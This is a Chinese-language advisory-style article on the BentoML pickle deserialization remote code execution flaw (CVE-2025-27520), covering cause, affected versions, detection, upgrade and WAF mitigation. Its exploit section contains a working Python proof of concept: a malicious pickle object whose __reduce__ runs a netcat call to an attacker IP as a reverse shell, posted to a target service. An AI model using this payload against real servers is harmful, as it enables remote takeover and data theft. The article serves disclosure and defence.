BentoML远程代码执行漏洞(CVE-2025-27520)详解与防护指南

BentoML是一个流行的Python开源库,专门用于快速部署和管理机器学习模型的在线服务。近期发现了一个极其严重的安全漏洞------远程代码执行(RCE),编号为CVE-2025-27520,漏洞评分高达9.8(CVSSv3),意味着攻击者可以远程执行任意代码,完全控制服务器,风险极大。

1. 漏洞基础知识点

什么是远程代码执行(RCE)?

远程代码执行指攻击者通过网络向目标系统发送恶意数据,使系统执行攻击者指定的代码,导致系统被控制、数据泄露或破坏。

什么是反序列化漏洞?

反序列化是将数据从存储或传输格式(如二进制)转换回程序对象的过程。如果反序列化过程不安全,攻击者可以构造恶意数据,利用程序自动执行恶意代码。

BentoML中的漏洞原理

BentoML在处理机器学习模型请求时,会反序列化(deserialize)客户端发送的"payload"(数据包)。漏洞出现在serde.py文件中的deserialize_value函数:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))

这里使用了Python的pickle模块反序列化数据,但没有对输入数据做任何安全检查,导致攻击者可以发送恶意构造的pickle数据,执行任意Python代码。

2. 漏洞影响范围

  • 受影响版本:BentoML 1.3.8 到 1.4.2(官方最初报告为1.3.4起,但实际分析确认是从1.3.8开始)
  • 修复版本:1.4.3及以后版本
  • 影响用户:所有使用BentoML接收和处理外部机器学习请求的用户,尤其是直接或间接处理序列化数据的场景。

3. 漏洞利用示例(Python代码)

攻击者可以构造一个恶意的Python对象,利用__reduce__方法执行系统命令。示例代码如下:

python 复制代码
import pickle
import os
import requests

# HTTP请求头,指定内容类型为BentoML的pickle格式
headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

# 恶意类,利用__reduce__执行系统命令
class Evil:
    def __reduce__(self):
        # 这里以启动一个反向shell为例,连接攻击者主机
        return (os.system, ('nc 192.168.1.100 1234',))

# 序列化恶意对象
payload = pickle.dumps(Evil())

# 发送恶意请求到目标BentoML服务
requests.post("http://目标服务器IP:端口/接口路径", data=payload, headers=headers)

说明:

  • nc是netcat工具,用于建立网络连接,攻击者监听1234端口,服务器连接后即被控制。
  • 真实攻击中,IP和端口需替换为攻击者控制的地址。
  • 该请求会被BentoML反序列化,执行os.system命令,导致远程代码执行。

4. 漏洞产生的原因与历史

  • 该漏洞是之前CVE-2024-2912的"复现",原漏洞在1.2.5版本修复。
  • 但修复代码在1.3.8版本被意外移除,导致漏洞重新出现。
  • 1.4.3版本重新修复了该问题,禁止了不安全的pickle反序列化。

5. 如何检测是否受影响

  • 查看BentoML版本:
bash 复制代码
pip show bentoml
  • 检查版本号是否在1.3.8至1.4.2之间。
  • 也可以在Python环境中查找bentoml-版本号.dist-info目录。
  • 生成软件物料清单(SBOM)检查依赖链中是否包含受影响版本。

6. 如何修复和防护

最简单有效的办法:升级BentoML

bash 复制代码
pip install -U bentoml==1.4.3

升级到1.4.3或更高版本,官方已修复该漏洞。

临时缓解措施

  • 配置Web应用防火墙(WAF),阻止Content-Type为application/vnd.bentoml+pickle的HTTP请求。
  • 对输入数据进行严格验证,避免反序列化不可信数据。
  • 监控异常网络连接和系统行为,及时发现攻击迹象。

7. 代码示例:安全升级后的反序列化示范

升级后,BentoML会拒绝不安全的pickle请求,示例伪代码:

python 复制代码
def deserialize_value(self, payload: Payload) -> t.Any:
    if payload.metadata.get("content-type") == "application/vnd.bentoml+pickle":
        raise ValueError("Pickle deserialization is disabled for security reasons.")
    # 其他安全的反序列化逻辑

8. 总结

关键点 说明
漏洞类型 远程代码执行(RCE)
漏洞原因 不安全的pickle反序列化
受影响版本 BentoML 1.3.8 ~ 1.4.2
修复版本 BentoML 1.4.3及以上
危害 服务器被远程控制,数据泄露,服务中断等
推荐措施 立即升级BentoML,配置WAF,监控异常行为
相关推荐
想用offer打牌1 分钟前
Reasoning + Acting: ReAct范式与ReAct Agent
人工智能·后端·llm
KingRumn2 分钟前
Linux信号之信号安全
linux·算法
智驱力人工智能4 分钟前
从合规到习惯 海上作业未穿救生衣AI识别系统的工程实践与体系价值 未穿救生衣检测 AI救生衣状态识别 边缘计算救生衣监测设备
人工智能·深度学习·opencv·算法·目标检测·边缘计算
猎板PCB黄浩6 分钟前
高多层线路板工厂专业选型指南:全流程评估体系与猎板适配场景解析
大数据·人工智能·算法·pcb
霖大侠9 分钟前
Squeeze-and-Excitation Networks
人工智能·算法·机器学习·transformer
韩立学长24 分钟前
Springboot森林资源检测管理系统xowdi7nq(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·spring boot·后端
APIshop27 分钟前
高性能采集方案:淘宝商品 API 的并发调用与数据实时处理
linux·网络·算法
rannn_11136 分钟前
【SQL题解】力扣高频 SQL 50题|DAY5
数据库·后端·sql·leetcode·题解
松涛和鸣37 分钟前
DAY38 TCP Network Programming
linux·网络·数据库·网络协议·tcp/ip·算法
ss27341 分钟前
ThreadPoolExecutor七大核心参数:从源码看线程池的设计
java·数据库·算法